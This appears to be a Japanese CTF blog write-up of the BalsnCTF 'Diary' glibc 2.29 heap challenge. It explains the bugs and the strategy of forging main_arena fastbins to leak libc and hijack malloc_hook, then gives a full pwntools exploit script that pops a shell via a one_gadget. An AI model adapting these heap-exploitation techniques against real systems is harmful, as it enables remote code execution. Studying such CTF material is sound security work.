イントロ Link to this heading

生存確認。

ちゃんと時間を取って取り組んだわけではないけれど、いつぞや開催された BalsnCTF の pwn 問題 Diary

最近 heap 問題見るとすごく面倒くさい気持ちになってきました。

今回から、目次の前に keywords を置いてみました。結局 pwn(特に heap)の場合には与えられた vulns からできることを組み立てていくことが殆どなので、CTF 中に vuln から使える解法を逆引きできたほうが自分的に便利ということで置いています。続ける保証はないです。

静的解析 Link to this heading

.sh
1./diary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=53d5963091eba5e6879841c661d474196be39e5c, for GNU/Linux 3.2.0, stripped
2    Arch:     amd64-64-little
3    RELRO:    Full RELRO
4    Stack:    Canary found
5    NX:       NX enabled
6    PIE:      PIE enabled
7FROM ubuntu:disco-20200114 (libc 2.29)

プログラムは典型的なメモ帳の追加・編集・出力・消去を行う。但し、消去は各メモ帳に付き 1 回しかできず、編集は実行中に 1 回しかできない。

追加するメモ帳のサイズは 0x80 以下であり、書き込み時には read() で読むため NULL を気にせず書き込める。だが、出力は printf("%s") で行うため NULL で出力が切れてしまう。

Vulns Link to this heading

脆弱性は 3 つ。

1 つ目。最初に name を入力するのが、そのバッファが NULL 終端されず、且つヒープへのポインタが隣接しているため容易に heapbase がリークできる。

2 つ目。ただ 1 回できる edit において、メモ帳のインデックスとして負数を入力できる。ここでメモ帳は .bss section に確保されており、その上部には stdin が入っている。よって、負数の edit を用いることで stdin を書き換えることができる。この際、プログラムの仕様により入力可能バイト数は stdin->flags (0xFBAD208B) であり、実質無制限に書き換えることができる。

3 つ目。これは攻撃に使うことはできない(寧ろ邪魔になる)が、確保していないメモ帳に対して消去(free)することができる。

方針 Link to this heading

今回で一番強い制限は edit が 1 回しかできないということ。また、vuln よりできることは stdin/stdout の書き換え。

この 2 点より、典型的な _IO_FILE_plus forge の方針を考えてしまいそうになる。例えば stdin のバッファアドレスを heap に書き換えることで heap を自在に操作できるようにして unsorted を生成するということが考えられる。だがこの場合、生成した libcbase を出力するための方法がなかなか思いつかない。逆に stdout を書き換えたとすると libcbase のリークは簡単だろうが、任意の値をメモリ中に書き込むのが難しい。

そこで、stdout/stdin が無制限に書き換えられるということに注目する。stdin の後方を見てみると、main_arena 及び malloc_hook が存在している。よって、stdin を書き換えるのではなく、stdinから始めて main_arena/malloc_hook を書き換えることを方針とする。

layout around stdin

layout around stdin

forge fastbinsY of main_arena to leak libcbase Link to this heading

main_arena には mfastbinptr fastbinsY[10] という fastbin の root を保持する配列が有る。

House of Corrosionとかで global_max_fast を書き換えて攻撃の起点とするアレだ。

今回はこれを直接書き換えて、heap 中の任意のアドレスに持っていく。 これの一つを、メモリ中の unsorted のすぐ上を指すように書き換える。これによって、生成された libcbase をリークすることができる。

ここで、unsorted は 0x90 サイズのメモ帳を 7 個作って free することで生成できる。尚、使用されているのは calloc() であるため、tcache から取られることはないし、何より確保領域が NULL クリアされるため、細かいところに気配りが必要になる。そこは大和魂でなんとかする。heap 問題って、説明のしようがないのも嫌いです。こんなブログ、「heap feng shui します」の一言で本来終わってしまうもんだからな。

forge linked-list of fastbins and consolidate them into tcache Link to this heading

ここまでで heapbase/libcbase がリークできているため、次は malloc_hook を書き換えることを考える。

先程の main_arena の書き換えに於いて適当な位置を 0x70 サイズの fastbin が指すようにしておく。 さらにそいつが指す先に有る fake chunk の fd を他のメモ帳を使って書き換えることで、fastbin のfdを自由な値にすることができる。 これによって malloc_hook を指させることにする。

最大の障壁は、0x90サイズの fastbin が存在しないということである。 最初に unsorted を生成するために tcache[0x90] には現在 7 つの chunk が繋がっている。 fastbin は 0x20~0x80 であるからこそ、これで unsorted が生成されるわけである。 だが、main_arena の forge による fastbin の書き換えでは 0x90 の chunk は作れないため、0x70 等のサイズを使用する必要が有る。 だが、それらのサイズを使うと今度は fastbin->fd を書き換える際に malloc consolidation が発生し、せっかく書き換えた fastbin が全て tcache へぶっ飛んでいってしまう。

これを回避するために、予め互いにリンクした fake chunk(0x70) を用意しておく。 そして main_arena の書き換えによって、root-> 大量のリンクリスト-> libcbase をリークした後に生成した fake fastbin-> malloc_hook というリストを作り出す。 これによって、consolidation が発生した際に用意した大量の chunks を tcache に持っていき、所望のfdをもつ chunk は fastbin に格納させることができる。

この辺をどうやるか、それは勿論決まっている。

_HEAP FENG SHUI です!!!!!!!! _

exploit Link to this heading

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5from smallkirbypwn import *
  6import sys
  7
  8FILENAME = "./diary"
  9LIBCNAME = "./libc-2.29.so"
 10
 11hosts = ("diary.balsnctf.com","localhost","localhost")
 12ports = (10101,12300,23947)
 13rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 14rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 15rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 16context(os='linux',arch='amd64')
 17binf = ELF(FILENAME)
 18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 19
 20class _IO_FILE(object):
 21  def __init__(self,
 22      read_ptr=None, read_end=None, read_base=None,
 23      write_base=None, write_ptr=None, write_end=None,
 24      buf_base=None, buf_end=None,
 25      save_base=None, backup_base=None, save_end=None,
 26      lock=None, wide_data=None):
 27    self.read_ptr = read_ptr if read_ptr!=None else 0
 28    self.read_end = read_end if read_end!=None else 0
 29    self.read_base = read_base if read_base!=None else 0
 30    self.write_base = write_base if write_base!=None else 0
 31    self.write_ptr = write_ptr if write_ptr!=None else 0
 32    self.write_end = write_end if write_end!=None else 0
 33    self.buf_base = buf_base if buf_base!=None else 0
 34    self.buf_end = buf_end if buf_end!=None else 0
 35    self.save_base = save_base if save_base!=None else 0
 36    self.backup_base = self.backup_base if backup_base!=None else 0
 37    self.save_end = save_end if save_end!=None else 0
 38    self.flag = 0xfbad208b
 39    self.markers = 0
 40    self.chain = 0 # stdin addr if stdout
 41    self.fileno = 0 # 1 if stdout
 42    self.fileno2= 0
 43    self.old_offset = 0xffffffffffffffff
 44    self.lock = lock if lock!=None else 0
 45    self.offset = 0xffffffffffffffff
 46    self.code_cvt = 0
 47    self.wide_data = wide_data if wide_data!=None else 0
 48    self.freeres_list = 0
 49    self.freeres_buf = 0
 50    self.pad5 = 0
 51    self.mode = 0xffffffff
 52    return None
 53
 54  def gen(self):
 55    pay = b""
 56    pay += p64(self.flag)
 57    pay += p64(self.read_ptr) + p64(self.read_end) + p64(self.read_base)
 58    pay += p64(self.write_base) + p64(self.write_ptr) + p64(self.write_end)
 59    pay += p64(self.buf_base) + p64(self.buf_end)
 60    pay += p64(self.save_base) + p64(self.backup_base) + p64(self.save_end)
 61    pay += p64(self.markers)
 62    pay += p64(self.chain)
 63    pay += p32(self.fileno) + p32(self.fileno2)
 64    pay += p64(self.old_offset)
 65    pay += p64(0x000000000a000000) # cur_column + vtable_offset + shortbuf
 66    pay += p64(self.lock)
 67    pay += p64(self.offset)
 68    pay += p64(self.freeres_list) + p64(self.freeres_buf) + p64(self.pad5)
 69    pay += p32(self.mode) + p32(0)
 70    return pay
 71
 72class _IO_FILE_plus(_IO_FILE):
 73  def __init__(self,
 74      read_ptr=None, read_end=None, read_base=None,
 75      write_base=None, write_ptr=None, write_end=None,
 76      buf_base=None, buf_end=None,
 77      save_base=None, backup_base=None, save_end=None,
 78      lock=None, wide_data=None, vtable=None):
 79    super(_IO_FILE_plus, self).__init__(
 80      read_ptr, read_end, read_base,
 81      write_base, write_ptr, write_end,
 82      buf_base, buf_end,
 83      save_base, backup_base, save_end,
 84      lock, wide_data)
 85    self.vtable = vtable if vtable!=None else 0
 86
 87  def gen(self):
 88    pay =  super(_IO_FILE_plus, self).gen()
 89    pay += p64(0) * 4
 90    pay += p64(self.vtable)
 91    return pay
 92
 93class main_arena:
 94  def __init__(self):
 95    self.mutex = 0
 96    self.flags = 0
 97    self.have_fastbinchunks = 0
 98    self.fastbins = {}
 99    return None
100
101  def set(self, size, addr):
102    self.fastbins[hex(size)] = addr
103    return self
104
105  def gen_fastbinchunks(self):
106    pay = b""
107    for i in range(8):
108      if hex(i*0x10+0x20) in self.fastbins:
109        pay += p64(self.fastbins[hex(i*0x10+0x20)])
110      else:
111        pay += p64(0)
112    return pay
113
114  def gen(self):
115    pay = b""
116    pay += p32(self.mutex) + p32(self.flags)
117    pay += p32(self.have_fastbinchunks)
118    pay += p32(0) # hole
119    pay += self.gen_fastbinchunks()
120    return pay
121
122
123## utilities #########################################
124
125def hoge(ix):
126  global c
127  c.recvuntil("choice : ")
128  c.sendline(str(ix))
129
130def _show():
131  global c
132  hoge(1)
133
134def _write(_size, _content, stop=False):
135  global c
136  hoge(2)
137  c.recvuntil("Length : ")
138  c.send(str(_size))
139  if stop:
140    return
141  c.recvuntil("Content : ")
142  c.send(_content)
143
144def _read(page):
145  global c
146  hoge(3)
147  c.recvuntil("Page : ")
148  c.send(str(page))
149
150def _edit(page, content):
151  global c
152  hoge(4)
153  c.recvuntil("Page : ")
154  c.sendline(str(page))
155  c.recvuntil("Content : ")
156  c.send(str(content))
157
158def _tear(page):
159  global c
160  hoge(5)
161  c.recvuntil("Page : ")
162  c.send(str(page))
163
164## exploit ###########################################
165
166def exploit():
167  global c
168  ds = 0x80
169  name = "A"*0x20
170
171  # setup name
172  c.recvuntil("name : ")
173  c.send(name)
174
175  # leak heapbase
176  _write(ds, "B"*ds) # 0
177  _show()
178  c.recvuntil("A"*0x20)
179  leak = unpack(c.recvline().rstrip().ljust(8,'\x00'))
180  heapbase = leak - 0x260
181  print("[+] leaked: "+hex(leak))
182  print("[+] heapbase: "+hex(heapbase))
183
184  # generate unsorted
185  sz = 0x31
186  for i in range(0x8): # 1..0x9
187    if i==0: # to fulfill fastbin(0x80)
188      _write(ds, p32(0) + p64(0) +  (p64(heapbase+0x300)+p64(0x81)) + (p64(heapbase+0x310)+p64(0x81))+(p64(heapbase+0x320)+p64(0x81)) + (p64(heapbase+0x330)+p64(0x81)) + (p64(heapbase+0x340)+p64(0x81)) + (p64(heapbase+0x350)+p64(0x81)) + (p64(heapbase+0x380)+p64(0x81)))
189    elif i==1:
190      _write(ds, p32(0) + p64(0x71) +  (p64(heapbase+0x610)+p64(0x81)))
191    else:
192      _write(ds, p32(0) + (p64(0x71)+p64(0))*((ds-4)//0x10 - 2) + (p64(sz)+p64(0))*2)
193  for i in range(0x8):
194    _tear(i) # generate unsorted at heapbase+0x640
195
196  # forge main_arena
197  mp = main_arena()
198  mp.set(0x30, heapbase + 0x620).set(0x70, heapbase + 0x600).set(0x80, heapbase+0x300)
199  pay = b""
200  pay += _IO_FILE_plus(vtable=0).gen()[4:]
201  pay += p8(0x40) * 0x130 # pad wide_data
202  pay += p64(0x81)*2 # fake sz for overwriting malloc_hook
203  pay += p64(0x00)*2 # fake fd for overwriting malloc_hook
204  pay += p64(0) # malloc_hook
205  pay += p64(0)
206  pay += mp.gen()
207  _edit(-6, pay)
208
209  # leak libcbase
210  _write(0x24, "A"*(0x24)) # 0xa@heapbase+0x660
211  _read(0x9)
212  c.recvuntil("A"*0x24)
213  leak =  unpack(c.recvline().rstrip().ljust(8,'\x00'))
214  libcbase = leak - 0x1e4ca0
215  print("[+] leak: "+hex(leak))
216  print("[+] libcbase: "+hex(libcbase))
217
218  # overwrite fastbin's fd
219  ogs = [addr + libcbase for addr in [0xe237f, 0xe2383, 0xe2386, 0x106ef8]]
220  _write(0x60, p32(0) + p64(0x81) + p64(libcbase + 0x1e4c10)) # @heapbase+0x610 consolidate into tcache
221  _write(0x70, "A"*0x10) # connect malloc_hook into unsorted(0x80)
222  _write(0x70, "A"*0xc + p64(ogs[3])) # overwrite malloc_hook
223
224  # boomb
225  _write(0x60, "X", stop=True)
226
227
228## main ##############################################
229
230if __name__ == "__main__":
231    global c
232
233    if len(sys.argv)>1:
234      if sys.argv[1][0]=="d":
235        cmd = """
236          set follow-fork-mode parent
237        """
238        c = gdb.debug(FILENAME,cmd)
239      elif sys.argv[1][0]=="r":
240        c = remote(rhp1["host"],rhp1["port"])
241      elif sys.argv[1][0]=="v":
242        c = remote(rhp3["host"],rhp3["port"])
243    else:
244        c = remote(rhp2['host'],rhp2['port'])
245    exploit()
246    c.interactive()

アウトロ Link to this heading

まじで、Verilog めっちゃ苦手です

ハードウェアの気持ちを考えて書くことができない。